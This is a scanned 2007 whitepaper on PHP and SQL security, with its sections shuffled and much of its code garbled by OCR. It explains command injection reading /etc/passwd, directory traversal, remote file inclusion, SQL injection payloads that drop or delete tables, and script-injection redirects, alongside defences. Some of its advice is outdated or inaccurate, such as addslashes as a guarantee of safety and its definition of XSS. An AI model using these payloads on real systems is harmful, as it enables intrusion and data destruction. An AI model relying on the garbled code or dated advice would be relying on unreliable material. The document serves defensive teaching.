Home

PHP & SQL Security

image

Contents

1. name _GET name name _INPUT name If data is to be entered into a database more processing is needed to prevent SQL injection which will be discussed later 2 2 Executing Code Containing User Input Another concern when dealing with user data is the possibility that it may be executed in PHP code or on the system shell PHP provides the eval function which allows arbitrary PHP code within a string to be evaluated run There are also the system passthru and exec functions and the backtick operator all of which allow a string to be run as a command on the operating system shell Where possible the use of all such functions should be avoided especially where user input is entered into the command or code An example of a situation where this can lead to attack is the following command which would display the results of the command on the web page echo Your usage Leer fg ZS Susername _GET username passthru cat logs usage Susername passthru runs a command and displays the output as output from the PHP script which is included into the final page the user sees Here the intent is obvious a user can pass their username in a GET request such as usage php username andrew and their usage log would be displayed in the browser window But what if the user passed the following URL usage php username andrew cat 20 etc passwd Here the username value now contains a
2. username _GET user Sfilename home users Susername readfile filename If an attacker passes the query string user etc passwd then PHP will read etc passwd and output that to the user Since most operating systems restrict access to system files and with the advent of shadow password files this specific attack is less useful than it previously was but similarly damaging attacks can be made by obtaining php files which may contain database passwords or other configuration data or by obtaining the database files themselves Anything which the user executing PHP can access usually since PHP is run from within a web server this is the user the web server runs as PHP itself can access and output to a remote client Once again PHP provides functions which step in and offer some protection against this kind of attack along with a configuration file directive to limit the file paths a PHP script may access realpath and basename are the two functions PHP provides to help avoid directory traversal attacks realpath translates any or in a path resulting in the correct absolute path for a file For example the filename from above passed into realpath would return etc passwd basename strips the directory part of a name leaving behind just the filename itself Using these two functions it is possible to rewrite the script above in a much more secure manner Susername basenam
3. PHP can be configured with the allow_url_fopen directive which allows it to treat a URL as a local file and allows URLs to be passed to any PHP function which expects a filename including readfile and fopen This provides attackers with a mechanism by which they can cause remote code to be executed on the server Consider the following case Here the include function is used to include a PHP page specific to an individual user This may be to import their preferences as a series of variables or to import a new set of functionality for a different user type include _GET username php This assumes that the value of username in the GET request corresponds to the name of a local file ending with php When a user provides a name such as bob this looks for bob php in the PHP include directories current directory and those specified in php ini Consider however what happens if the user enters http www attackers r us com nastycode This translates to http www attackers r us com nastycode php and with allow_url_fopen enabled this remote file will be included into the script and executed Note that the remote server would have to serve php files as the raw script instead of processing them with a PHP module first in order for this attack to be effective or a script would have to output PHP code readfile realnastycode php for instance Mechanisms such as the above allow attackers to execute any code they
4. var www mkdir tmp chown httpd tmp where httpd is the username of the user account under which the web server runs When dealing with uploaded files it is essential to know that the file you are performing file operations on was in fact an uploaded file It is possible to trick PHP into operating on a file which was not actually uploaded by providing an incorrect filename or exploiting some other vulnerability in the web application To make absolutely certain that you are operating on a file which was indeed uploaded PHP provides two functions is uploaded Tel returns true only if the filename it was given was actually uploaded and move_uploaded file performs a file move operation only if the filename was in fact an uploaded file Combining these two functions is much safer than using the standard file manipulation functions such as copy Ssupplied_name S _FILES file name Siem _ meme ERMES Vive lV iemo_imenmn 2 Scoumet e Persistent Counter Ce Winiguely identity tiles local name tile Seel if is_uploaded_file Stemp_name move_uploaded_file Stemp_name home files Slocal_name echo File Ssupplied_name successfully uploaded else die Error processing the file The script above combines some of the advice of the above sections A locally generated unique name is used for storing the files on the filesystem the is_uploaded_file and move_uploaded file f
5. another closing single quote a third SQL command is entered which leaves an open string value This will be matched up with the final quote in the hard coded SQL and the entire command is syntactically correct as far as SQL is concerned and will therefore execute with no complaint Clearly it is not desirable for any user to be able to issue arbitrary queries simply by posting data in a form Luckily for us as with the PHP and HTML input issues discussed in part 1 PHP provides a solution The addslashes and stripslashes functions step in to prevent the above scenarios and any number of similar attacks addslashes will escape characters with a special meaning to SQL such as or by prefixing them with a backslash the backslash itself is also escaped becoming stripslashes performs the opposite conversion removing the prefix slashes from a string When entering data into a database addslashes should be run on all user supplied data and any PHP generated data which may contain special characters To guarantee safety simply run addslashes on every string input to the database even if it was generated internally by a PHP function Similarly be sure to run stripslashes when pulling data back out from the database 3 2 Non String Variables Since PHP automatically determines the type of a variable you should also check variables which you expect to be integers or other data types For instance the int type
6. desire on vulnerable web systems This is limited only by the limitations placed on PHP on that system and the limitations of the user under which PHP is running usually the same user that the entire web server is running under One simple way to prevent this style of attack is to disable allow_url_fopen This can be set in php ini If allow_url_fopen is required for some parts of your site another technique is to prefix the file path with the absolute path to the starting directory This reduces the portability of your scripts since that path must be set depending on where the script was installed but it results in increased security since no path starting with a or X or whatever it is on your operating system can be interpreted as a URL Susername basename realpath _GET username include home www somesite userpages username php The code above highlights not only prefixing with an absolute path but also protecting against directory traversal using basename and realpath Note that the third solution to the remote inclusion problem is to never use user supplied filenames This alleviates a large number of file related security issues and is recommended wherever possible Databases and support for PHP concepts such as classes should reduce user specified file operations to a minimum 4 3 File Permissions Files created with PHP have default permissions determined by the umask short for unmas
7. directive an open_basedir value has been set for the entire virtual host and overridden for a specific location which requires access to other directories Safe Mode has been turned off for this location also again because the gallery software installed there requires functionality which is disabled by Safe Mode As you can now clearly see it is possible to set PHP configuration information on a per host per directory or per location basis within the httpd conf file You will notice also that the open_basedir directories all end with a trailing so as to prevent them being interpreted as directory prefixes 7 Session Security Presenting a consistent user interface is a matter of priority for most websites Extending this consistency across multiple visits to the site or between pages when a user is shopping or browsing forum posts falls under the purview of Sessions PHP s solution to the lack of state information in HTTP Hyper Text Transfer Protocol 7 1 What Are Sessions Sessions are a PHP construct allowing persistent data to be retained across HTTP connections In English sessions allow you to store the values of certain variables across page visits This is achieved by serializing the data converting it to some binary representation and writing it out to a file or a database or wherever you tell it when a page is finished processing in PHP When the next page or that same page some time later is processed and PHP is t
8. machine have access to tmp Changing the default session data storage location or using a database restricts which users can see the session data 7 6 Storing Sessions In A Database When you use on disk files to store session data those files must be readable and writeable by PHP On a multi user hosting system it is possible for other users to access your session data through the PHP process but see the commentary on open_basedir earlier The best way to secure your session data is to store it ina database Unfortunately there is no direct way to store session data in a database using the php ini directives but luckily PHP provides a mechanism for customised session storage handlers The function session_set_save_handler allows you to register handler functions for session management These functions must be written in PHP or made available as a PHP extension session_set_save_handler open_fn close_fn read_fn write_fn destroy fn ge Tn To use these user supplied session storage handlers you must set session save_handler to the value user and the value of session save_path should be the name of the database into which you re saving session data so that the session save handler functions you define can locate and use that database The value of session name can be used as the name of the table within the database httpd conf lt Locacion Wy Us php_value session save_handler user php_value session save_pa
9. mail fields have at least some characters an sign some more characters a period and two or more characters at the end zip or postal codes are of the required format and so on Each of these may be verified using regular expressions which scan the input for certain patterns An example for e mail address verification is the PHP code shown below This evaluates to true if an e mail address was entered in the field named email preg rb cla UH ZE deih AA SES S POSTI Vert LU 112 This code just constructs a regular expression based on the format described above for an e mail address Note that this will return true for anything with an sign and a dot followed by 2 or 3 characters That is the general format for an e mail address but it doesn t mean that address necessarily exists you d have to send mail to it to be sure of that Interesting as this is how does it relate to security Well consider a guestbook as an example Here users are invited to enter a message into a form which then gets displayed on the HTML page along with everyone else s messages For now we won t go into database security issues the problems dealt with below can occur whether the data is stored in a database a file or some other construct If a user enters data which contains HTML or even JavaScript then when the data is included into your HTML for display later their HTML or JavaScript will also get included If your guestbook page display
10. passwords Each database user should be assigned a password and your scripts will need this password in order to initiate a connection to the database Ideally scripts containing configuration data such as the database username and password should be stored outside of the web server s document root This prevents a casual attacker retrieving the plain text of the configuration file and obtaining the database password database php heme stormhawk Propects Pixel is 4 Rev 4 RegExp A Case L 25 73 this gt errorhandlerc Serrorhandler svitch this gt type 4 case nysql Sthis gt dbconn mysql_connect host username passvord wmy2ql_select_dhb Sdb this gt dbconn break case pgsql default this gt dbconn pg_conmmect host Shost user usercnane passvord password break dbname db af this gt dbconn S is null this gt errorhandler 3 Sthis gt errochandler Error connecting to database function destruct svitch this gt type case nysql Passwords Avoid including passwords in PHP files specify them once in a file with restricted permissions then refer to password in the rest of the files Also ensure that it is not possible for someone to include your password file and echo password themselves Encrypted passwords are a bonus here or use passwordless local links Other methods to consider are to use a php extension for the file
11. semicolon which is a shell command terminator and a new command afterwards The 20 is a URL Encoded space character and is converted to a space automatically by PHP Now the command which gets run by passthru is cat logs usage andrew cat etc passwd Clearly this kind of command abuse cannot be allowed An attacker could use this vulnerability to read delete or modify any file the web server has access to Luckily once again PHP steps in to provide a solution in the form of the escapeshellarg function escapeshellarg escapes any characters which could cause an argument or command to be terminated As an example any single or double quotes in the string are replaced with or and semicolons are replaced with These replacements and any others performed by escapeshellarg ensure that code such as that presented below is safe to run Susername escapeshellarg _GET username j passthru cat logs usage Susername Now if the attacker attempts to read the password file using the request string above the shell will attempt to access a file called logs usage andrew cat etc passwd and will fail since this file will almost certainly not exist It is generally considered that eval called on code containing user input be avoided at all costs there is almost always a better way to achieve the desired effect However if it must be done ensure that strip tags has been called and that any quo
12. then possible to use Susername instead of _SESSION username but note that username is an ordinary variable and you will have to access as _GLOBALS username or global Susername from within a function 7 4 Trusting Session Data Since a session ID can be spoofed it is always wise to perform some extra validation where possible The simplest mechanism would be to store the IP address of the client to whom the session ID was issued and compare the client IP against that stored IP every session This will prevent the basic security problems associated with passing links between computers though not if the computers are on a private network and share a single public IP address Session data is also stored in files on the server The default location is tmp on UNIX or the system temporary file directory on Windows If tmp is world writable or in some cases world readable or there are multiple websites hosted on a single server storing session data in a public location is not secure PHP provides a way to change the way session data is stored 7 5 Changing The Session File Path The location in which PHP saves session data can be set using the php ini directive session save_path or the string below in httpd conf or a virtual host configuration php_value session save_path home andrew sessions It is important to ensure that your session data path is included in the paths allowed by open_basedir if you have open_base
13. tool uses this first column to display a d character if the item is a directory To obtain this permission set in octal simply add the digits 4 2 and 1 in three separate numbers then combine them in order The user permissions are rwx which is 4 2 1 7 The group permissions are r x which is 4 1 5 and the other permissions are x which is 1 1 We now have the values 7 for user 5 for group and 1 for others which combines to the octal number 0751 The actual permissions applied to a file created depend on the permissions set and the umask which subtracts from the permissions set actually its a bitwise and but it has the effect of subtracting as long as you treat the permissions as though they were three distinct octal numbers and not a single three digit octal number A umask of 0266 which is equivalent to not write not read or write not read or write for user group and others respectively applied to a default permission of 0777 results in 0511 which is r x x x The umask is determined in the same way as the permissions but you start with 7 and subtract the numbers for the permissions you do not want 5 File Uploads File uploads can occur as part of a multi part HTTP POST request PHP provides ways to process these file uploads in a secure manner including checking to make sure the file you re operating on was in fact an uploaded file There are several security issues with file uploads which should be a
14. user systems within the core PHP engine and scripts are run within those imposed restrictions The full details of Safe Mode are explained below but would like to point out here that while Safe Mode restricts PHP scripts those restrictions obviously do not and cannot apply to external programs executed by PHP It is therefore possible to specify a safe directory for executable programs but even with this capability if any of those programs allow access to files outside of the Safe Mode configured directories it will still be possible for a malicious user to access another user s files 6 2 What Does Safe Mode Restrict Safe Mode imposes a number of restrictions on PHP scripts running under it These are outlined here 6 2 1 Restricting File Access Additional checks are performed by PHP when running in Safe Mode prior to any file operation taking place In order for the file operation to proceed the user ID of the file owner for the file being operated on must be the same as the user ID of the script owner for the script performing the file operation There are problems which may be encountered when this mechanism is turned on notably when attempting to work with files owned by different users but in the same document tree and files which have been created at runtime by the script which will be owned by the owner of the web server process In order to work around these issues a relaxed form of the file permission checki
15. PHP amp SQL Security Andrew J Bennieston Whitepaper January 2007 Whether your site is the web presence for a large multinational a gallery showing your product range and inviting potential customers to come into the shop or a personal site exhibiting your holiday photos web security matters After the hard work put in to make your site look good and respond to your users the last thing you want is for a malicious hacker to come along and break it somehow There are a number of problems in web security and unfortunately not all of them have definite solutions but here we ll look at some of the problems that should be considered every time you set out to write a PHP script These are the problems which with well designed code can be eliminated entirely Contents 1 Introduction Web Security The Big Picture 4 Ab colt SEA en de AE A dE KEE Ee EE 5 des line egen NEE 5 LA REMOle SCHIDES EE 6 ZIP POCESSING User Eieren 7 2 1 Validating Form Input amp Stripping Tags 7 2 2 Executing Code Containing User Input 10 S Data ase de EE 12 o STO ETELE dee EE 12 3 2 le E gie We 13 3 3 Database Ownership amp Permissions eee eeeeeeeeeeaeeeeeneeeeneees 14 SrA UE gn E 14 3 5 Database CONNECHONS eege EE taasees bhi ee sebexeseceadsecudedeea ulti 15 3 60 Database Passwords IN Leg le LEE 15 4 File SV SECIS CCUMEY geed 17 4 1 Directory Traversal Attacks sssssssssrrsrerereresrsrersrsrrrrrrrrrrrrerrrrrrrrerererere
16. al mysql J support files tests MM ON COW MW MOR RP RP Ree bash cd Filesystem Permissions Make sure users with shell access cannot change into the database directories 3 5 Database Connections PHP usually connects to the database management system through a TCP socket or a local domain socket on UNIX Linux Where possible you should prevent connections to this socket from IP addresses or processes other than the web server and any other process which needs access to the data for example if you have internal order processing software which does not run through the web server If the web server and the database server are on the same computer and no other services are running which may be exploited to provide a database connection it should be sufficient to allow only the local host given by the hostname localhost or the IP address 127 0 0 1 access to the TCP port on which the database manager is listening If the web server and database server are on different machines the IP of the web server should be specified explicitly In short limit the access to the database as much as possible without breaking anything that needs access to it This should help to ensure that the only access channel is via your PHP scripts and those have been written securely enough to check for unexpected or unauthorised data and reject it before it reaches the database 3 6 Database Passwords In Scripts Finally a word on database
17. anything they liked ON WorpPress Login Back 10 Blog Lost Authentication Stolen cookies or URL based authentication can sometimes be used to gain access to areas of a website which should be restricted 1 4 Remote Scripts XSS XSS or Cross Site Scripting also sometimes referred to as CSS but this can be confused with Cascading Style Sheets something entirely different is the process of exploiting a security hole in one site to run arbitrary code on that site s server The code is usually included into a running PHP script from a remote location This is a serious attack which could allow any code the attacker chooses to be run on the vulnerable server with all of the permissions of the user hosting the script including database and filesystem access 2 Processing User Data In this section I ll consider form data processing When a user submits a form to a PHP page for processing he or she controls the data which is submitted The techniques explored here help to reduce this uncertainty and protect against attacks which make use of weaknesses in the way PHP processes form data 2 1 Validating Form Input amp Stripping Tags When a user enters information into a form which is to be later processed on your site they have the power to enter anything they want Code which processes form input should be carefully written to ensure that the input is as requested password fields have the required level of complexity e
18. ddressed when designing secure PHP sites File Uploads Users can upload any file they like to your web application Limited checking in the web browser uSually ensures that the maximum size is not exceeded but additional checks must be performed in your web application itself In the file upload procedure the filename as determined by the web browser is passed to the web server and thus to the PHP script The filename supplied by the browser is part of the submitted data which may be under the control of an attacker and therefore this filename should be distrusted wherever it is possible to do so Consider the following case as an example A PHP script which moves files to the location reported by FILES file name receives an upload from a browser which told the web server the file it had just uploaded was home andrew bashrc Normally bashrc is a file which is associated with the UNIX Bash shell and contains commands executed by Bash every time a Bash shell is started These commands clearly run as the user who invoked the shell and have all of the privileges and permissions of that user If PHP has write access to their home directory using the name of an uploaded file as it was supplied would allow for an attacker to position a carefully prepared bashrc file with a single POST request This file might then open a terminal session piped over a network port or run some kind of exploit or root kit or worse In order
19. dir settings or PHP Safe Mode enabled The data representation used for saving session data to files can be controlled with the session serialize_handler directive in php ini By default PHP uses its own built in format but the WDDX http www wddx org format can be used also Set the type using one of the lines below in php ini session serialize handler wddx or session serialize_ handler php or in httpd conf php_value session serialize handler wddx or php_value session serialize handler php Cpe r tem Hains MM MOA XEB PEE em T Warre r E Mame GH Date User rari Grup Gi itera haeet Pe ta beciaprai b barp reina Hot 1 fie m TI 0 rom K Foon b barerna arnis O bis Apr 717 4 mami domhsa rarata Aa Beem b keng ficken rh iii 2 filer or lade Li Gvpbaechk emtb esk craw Wa SMG Bketetpvtk b keocketzoaroasak O fhe hin I 114 seemboek conhosk Grae 8 Trach mapia rmh ga k 7 files pr lllpT ecembhawk epmrbnsgk draw al Ca 3 E A ON Jeng hn Kor 2698 1 file MILL 1231 Gcpbaek epmrhnsak Grae mbad imp LE Fieu HlO 11I damhert riomh awl Ej DS DE 1n Sir gp ful 11 1117 demhan mormi a i Eal Inb O Tr DEI FH jui II 15536 seemherwk romham k Eal Fdeerappszkaparg GEAR MILA Faas reat mot Er Digi ren EJ EH Mr 13 2309 eepnkagk soimheek IO TE aa ER Hels Ija Meepbaek zbmrih sek 4 Oe cry Den 3 VE 11 lge vi Temporary Files All users with access to a
20. e realpath _GET user Sfilename home users Susername readfile filename This variant is immune to directory traversal attacks but it does not prevent a user requesting a file they weren t expected to request but which was in the same directory as a file they are allowed to request This can only be prevented by changing filesystem permissions on files by scanning the filename for prohibited filenames or by moving files you do not want people to be able to request the contents of outside of the directory containing the files you do want people to be able to access The configuration file variable open_basedir can be used to specify the base directory or a list of base directories from which PHP can open files A script is forbidden to open a file from a directory which is not in the list or a subdirectory of one in the list Note that PHP included files are subject to this restriction so the standard PHP include directory should be listed under open_basedir as well as any directories containing files you wish to provide access to through PHP open_basedir can be specified in php ini globally in httpd conf or as a per virtual host setting in httpd conf The php ini syntax is open_basedir path path2 path3 The httpd conf syntax makes use of the php_admin_value option php_admin_value open_basedir path path2 path3 open_basedir cannot be overridden in htaccess files 4 2 Remote Inclusion
21. ecture currently in use There are however a few options for taking security a little further and imposing the restrictions at a lower level than PHP itself To conclude this series I ll mention some of these briefly here 8 1 Chroot Jails Chroot changes the root directory that a process can see This effectively locks it into a certain directory structure within the overall filesystem With this approach you can lock a web server into some directory such as home www and it will not be able to access anything outside of that structure There are several advantages to doing this The first is that the web server PHP any user scripts and also any attackers will be contained within this chroot jail unable to access files outside of it Furthermore you can remove all but the most essential software from the chroot environment Removing any shells from the environment prevents a large number of exploits which attempt to invoke a remote shell The minimal environment inside a chroot makes life very difficult for attackers no matter whether their method of attack is through a vulnerability in your PHP code or a vulnerability in the underlying web server 8 2 Apache mod_chroot amp mod_security mod_security and mod_chroot are extension modules specifically for the Apache web server These two modules provide chroot support for Apache without externally applying a chroot technique mod_security also provides several other security feat
22. ed whatever was entered into the form field and a user entered the following Hil L lt b gt love lt b gt your Sics Then the effect is minimal when displayed later this would appear as Hi I love your site Of course when the user enters JavaScript things can get a lot worse For example the data below when entered into a form which does not prevent JavaScript ending up in the final displayed page will cause the page to redirect to a different website Obviously this only works if the client has JavaScript enabled in their browser but the vast majority of users do Hi I love your site Its great lt script language JavaScript gt document location http www acunetix com lt script gt For a split second when this is displayed the user will see Hi I love your site Its great The browser will then kick in and the page will be refreshed from www acunetix com In this case a fairly harmless alternative page although it does result in a denial of service attack users can no longer get to your guestbook lt script language JavaScript gt fumction doPageCheck document location http ww acunetix com S script gt Injecting JavaScript This JavaScript redefines a function called doPageCheck If it is rendered as a result of form input on a page which later calls a function doPageCheck which was previously defined for other purposes the page will be refreshed to the new locatio
23. ere are a few points to make about their usage Clearly nl2br and htmlspecialchars are suited for output formatting called on data just before it is output allowing the database or file stored data to retain normal formatting such as newlines and characters such as amp These functions are designed mainly to ensure that output of data into an HTML page is presented neatly even after running strip_tags on any input strip_tags on the other hand should be run immediately on input of data before any other processing occurs The code below is a function to clean user input of any PHP or HTML tags and works for both GET and POST request methods function _INPUT name if S_SERVER REQUEST_METHOD GET return strip_tags _GET Sname j Af ES ERVE RIRE OUE eCall Ver 1 return strip_tags _POST Sname This function could easily be expanded to include cookies in the search for a variable name I called it _INPUT because it directly parallels the _ arrays which store user input Note also that when using this function it does not matter whether the page was requested with a GET or a POST method the code can use _INPUT and expect the correct value regardless of request method To use this function consider the following two lines of code which both have the same effect but the second strips the PHP and HTML tags first thus increasing the security of the script
24. hanging that environment variable open_basedir string The open_basedir directive has been covered already in this series It restricts all file operations to the specified directory tree This directive works outside of Safe Mode also The list of directories for which file access is allowed must be separated by a semicolon on Windows or by a colon on all other systems disable functions string This directive lists functions to disallow A comma delimited list of function names is used Like open_basedir this directive does not require that Safe Mode has been enabled 6 4 Functions Restricted By Safe Mode There is a full list of functions for which Safe Mode imposes certain restrictions at http www php net manual en features safe mode functions php Below list some of the most important limitations putenv putenv takes into account the safe_mode_allowed_env_vars and safe_mode_protected_env_vars directives mentioned above move_uploaded file Moving uploaded files is subject to the same User ID or Group ID checking imposed on all file operations under Safe Mode The file being moved must have the same user ID or group ID if relaxed group restrictions are enabled as the script moving it Generally the file will be created with the user ID of the web server process and as such the relaxed restrictions are likely to be required in order to move uploaded files chdir mkdir rmdir Changing the current work
25. in SQL does not need to be quoted but it is still possible for a string ina PHP variable to be inserted into an SQL query in the position an integer would usually take Consider the example below Squery INSERT INTO customers customer_number VALUES S _POST number If a user supplied the value 0 DROP TABLE customers CREATE TABLE customers customer_id then the same kind of attack as before can be mounted In this case simply using addslashes isn t enough you will prevent the command execution but the database will still consider this to be an error as the words are not valid in that context The only way to ensure against this kind of attack is to perform consistent input validation Make sure that a value you think should be an integer really is A regular expression that matches any non integer characters should return false on a PHP string containing only an integer When that string is treated as an integer by SQL it will therefore not cause any errors or unexpected code execution 3 3 Database Ownership amp Permissions There are other precautions you may be able to take to prevent some of the more serious SQL injection attacks One such course of action is to implement access control on the database Many database packages support the concept of users and it should be possible to set an owner with full permissions to modify anything within the database and other users which may onl
26. ing Acunetix Web Vulnerability Scanner Acunetix will scan your website simulating numerous hacking techniques such as SQL injection cross site scripting Google hacking and more in order to identify vulnerabilities in your website After the scan has completed you will receive a summary report indicating what if any vulnerabilities exist on your site eacunetix Ka Scan group saved on 31 1 2006 12 15 profile default Scan Thread 1 http testasp acunetix com B0 56 alerts found 7 Scan Thread 1 http testasp acunetix com 80 Alerts summary E 42 High 1 Medium Bo Low B 13 nfo Executive summary Alert group Number of alerts in this group SQL injection 30 Script source code disclosure 1 Cross Site Scripting 2 Blind SQL XPath injection for numeric inputs 4 Blind SQL XPath injection for string inputs 3 Blind SQL XPath injection for string inputs double quotes Server Side Include directive 1 GHDB Typical login page 11 Email address found 2 2 Security Audit Report shows severity of web vulnerabilities found 10 Resources In this section list a few resources and sources of further information Many of these resources were used by myself in compiling this document 10 1 PHP Security Resources 10 1 1 The PHP Manual http www php net manual en The PHP manual contains references to security issues associated with most aspects of PHP In particular the security
27. ing directory of the script depends on the requirements imposed by user and group ID restrictions and by open_basedir Similar restrictions are imposed for mkdir and rmdir mail The additional parameters fifth argument have no effect when running under Safe Mode since these would allow arbitrary options to be passed to the mailer program set_time_limit Setting an execution time limit within a script is ignored when the script is running under Safe Mode dl Dynamically loading PHP extensions is disabled when running in Safe Mode 6 5 Overriding Safe Mode Settings As said above it is recommended to set default settings which will never cause security problems in php ini and enable Safe Mode there Per virtual host or per directory settings for values such as open_basedir safe_mode_exec_dir and safe_mode_include_dir may be specified within httpd conf using the php_admin_value and php_admin_flag directives Consider the following example which is a slightly modified section of an httpd conf from a live web server run EECH E ServerAdmin andrew somehost com DocumentRoot home wwwroot andrew ServerName andrew somehost com php_admin_value open_basedir home wwwroot andrew lt Location gallery gt php_admin_value open_basedir home wwwroot home photos usr local lib php php_admin_flag safe_mode off lt Location gt lt VirtualHost gt Here within the Apache VirtualHost
28. instead of the commonly used inc extension for included files The php extension ensures that the file is passed through PHP before output is sent to the user s browser and so it is possible to prevent display of data within the file simply by not echoing it htaccess files provide a third method of protecting against password grabbing If you deny web access to files whose names begin with databaseconfig for instance a user cannot easily obtain the file through the web server directly Of course a user may still be able to exploit file access security vulnerabilities in scripts to obtain or even to change the contents of the file File system security is covered in section 4 4 File System Security Accessing the filesystem through PHP has many uses from reading in data which is not stored in a database to locally storing files uploaded by a remote user The file system is subject to unauthorised unexpected modification if the PHP code driving your file management is not secure 4 1 Directory Traversal Attacks In a directory traversal attack the attacker will specify a filename containing characters which are interpreted specially by the filesystem Usually refers to the same directory and refers to its parent directory For example if your script asks for a username then opens a file specific to that username code below then it can be exploited by passing a username which causes it to refer to a different file
29. k This can be found by calling the umask function with no arguments The file permissions set are determined by a bitwise and of the umask against the octal number 0777 or the permissions specified to a PHP function which allows you to do so such as mkdir temp 0777 In other words the permissions actually set on a file created by PHP would be 0777 amp umask A different umask can be set by calling umask with a numeric argument Note that this does not default to octal So umask 777 is not the same as umask 0777 It is always advisable to prefix the 0 to specify that your number is octal Given this it is possible to change the default permissions by adding bits to the umask A umask is Subtracted from the default permissions to give the actual permissions so if the default is 0777 and the umask is 0222 the permissions the file will be given are 0555 If these numbers don t mean anything to you see the next subsection on UNIX File Permissions The umask is clearly important for security as it defines the permissions applied to a file and therefore how that file may be accessed However the umask applies server wide for the duration it is set so in a multi threaded server environment you would set a default umask with appropriate value and leave it at that value Use chmod to change the permissions after creation of files whose permissions must differ from the default 4 4 UNIX File Permissions UNIX file permis
30. lnerabilities c cece ccccccecceeceeeeeeeeeeeeeeeeneeneanes 42 9 2 Check if your website is vulnerable to attack 42 TOMES OUP raataa aaa ser acetal ee ee 43 TO PHP Security ee 43 EK KE The PAP Manual eegen ees NSESERSEEEEEEEEEN EEN 43 10 1 2 The PHP Security Consortium EE 43 LA ES De ee E 43 10 1 4 Acunetix Web Site Security Center 43 10 2 SOL SQCUNIEY RESOUrCES E 43 10 224 e Elei Er epuer Let deeg ee ees 43 10 2 2 PostgreSQL Security Advisories cccccccccecseeeeeeeeeeeeeeneeseaeenseneeaeeseees 43 10 2 3 MySQL Bugs Re EE 43 10 3 Apache Security RESOUNCES ssssssssssrssrsrsrererrrrrrrrrrsrrrrrrrrrrererererenrsrsreren 44 10 3 1 mod_chroot Homepage NEEN ENEE 44 10 3 2 mod_security Hotgepade vgegeeeekkeNNENN ENNEN EENENNEEENEKNEENENEEN EEN eeee 44 10 3 3 Apache suEXEC Manual 5 eeeeeeeee dE AE ee 44 10 3 4 Apache Reverse Proxy Manual 44 10 3 5 Apache Security Reports A 44 ET FAP ege BEE 45 1 Introduction Web Security The Big Picture The web is the future in business from e commerce to Internet Banking from art galleries to restaurant menus and opening times the web is becoming an essential aspect of business Where websites must be automated or dynamic a number of web application solutions exist but each of these brings with it a set of security considerations Whether your site is the web presence for a large multinational a gallery showing your product range and inviting potential customers
31. lt mysql_query Squery A form with a textbox named address would be used to gather the information for this page We ll ignore any other form elements for now but obviously there d be the order items a name possibly a price a delivery date and so on which would also all need storing in a database Imagine a perfectly legitimate user comes along and enters the following address 14 King s Way Kingston Kingham County The database would spit back an error because the SQL command would be malformed In the query the address value is surrounded by single quotes because it is a string value When the database hits the apostrophe in King s Way it will treat it as the closing single quote and end the string The rest of the address will be treated as SQL commands Since these commands don t exist the database returns to PHP with an error Now consider an attacker entering the following information into the form 14 Kings Way Kingston Kingham County DELETE FROM orders INSERT INTO ORDERS address VALUES Your data just got deleted by us We win Now the command will succeed The expected string data is presented along with a closing quote The opening after VALUES is closed and the SQL command is terminated using a semicolon After this another command begins one which tells the database to delete the entire contents of the orders table Then because the SQL hard coded into the PHP contains
32. ly being used This is especially important if some sections of your site have pages provided by other users who could use those pages to steal session IDs from your visitors Setting session use_only_cookies to true disables the passing of session IDs in URLs at the cost of losing sessions support for users with cookies disabled or on browsers not supporting cookies Setting session cookie_domain to the most restrictive domain name possible e g forum somesite com instead of somesite com also helps to minimise exposure of session IDs Of course if you have a single login for an entire range of subdomains you will have to set the domain aS somedomain com to ensure that the sessions are correctly managed across all of the subdomains Finally it is possible to set the hash function used when creating session IDs The default is to use MD5 hash function 0 but SHA1 may also be used hash function 1 SHA1 is a 160 bit hash function whereas MD5 is only a 128 bit hash function so using SHA1 for session hashes improves security slightly over using MD5 You can set the hash function using This setting was introduced in PHP 5 php_value session hash_function 1 8 Beyond PHP Security Everything have covered so far has been directly related to PHP and SQL security The best situation we can manage here is PHP Safe Mode which uses self imposed restrictions to improve security That this is the best we can achieve is due to the server archit
33. m SFC Cookie data femove Cookies Remove Al Cookies Close Cookies PHP sessions make use of cookies to store the session identifier SID Cookie theft and injecting attack data through a cookie are problems which must be considered when developing web applications in PHP Passing session data in URLs is not recommended since it is possible to pass your session onto another user if you give them a link which contains your session ID and the session ID data is more easily attackable than in a cookie URL based session tracking should be used only where cookies cannot 7 3 Using _SESSION PHP provides a super global variable named _SESSION By super global mean it is a global variable which you may access without going via _GLOBALS or stating global _SESSION within a function In this way it behaves like _GET and _POST _SESSION is in fact an associative array The keys are variable names and the values are the stored session data for that variable name Using _SESSION is preferred over the use of session_register to register ordinary global variables as session variables especially when register_globals is enabled since global variables may be more easily changed inadvertently than the contents of _SESSION It is still possible to alias ordinary global variables to their equivalents within _SESSION Susername k SESSION username Here the indicates a reference or alias It is
34. n specified in the document location command Consider a case where this was entered into an online order form Your order dispatchers would not be able to view the data because every time they tried their browser would redirect to another site Worse still if the redirection occurred on a critical page for a large business or the redirection was to a site containing objectionable material custom may be lost as a result of the attack Fortunately PHP provides a way to prevent this style of attack The functions strip_tags nl2br and htmlspecialchars are your friends here strip_tags removes any PHP or HTML tags from a string This prevents the HTML display problems the JavaScript execution the lt script gt tag will no longer be present and a variety of problems where there is a chance that PHP code could be executed nl2br converts newline characters in the input to lt br gt HTML tags This allows you to format multi line input correctly and is mentioned here only because it is important to run strip_tags prior to running nl2br on your data otherwise the newly inserted lt br gt tags will be stripped out when strip_tags is run Finally htmlspecialchars will entity quote characters such as lt gt and remaining in the input after strip_tags has run This prevents them being misinterpreted as HTML and makes sure they are displayed properly in any output Having presented those three functions th
35. n Directives section exec system popen and passthru are affected by these settings shell_exec and the backtick operator do not work at all when Safe Mode has been enabled 6 2 4 Other Restrictions Imposed Several functions are restricted in Safe Mode Some of the most important of these are listed later Furthermore the PHP AUTH USER PHP_AUTH PW and AUTH_TYPE variables are not made available in Safe Mode 6 3 Safe Mode Configuration Directives The following directives control the Safe Mode settings These should be set in php ini Some may also be set or overridden in the httpd conf file safe_mode boolean This directive enables PHP Safe Mode The recommended strategy for configuring a shared hosting environment to use Safe Mode is to enable Safe Mode globally in php ini and configure sensible default values here Specific overriding values can then be made in httpd conf for each host location or directory safe_mode_gid boolean This directive causes PHP to relax the user ID equality check between scripts and the files on which they operate to a group ID check The reasons why this directive may be useful were explained in detail above safe_mode include dir string The user and group ID restrictions are ignored for files included from this directory and its subdirectories The directory must be listed in the include_path directory or a full path name given for include statements The value of this direc
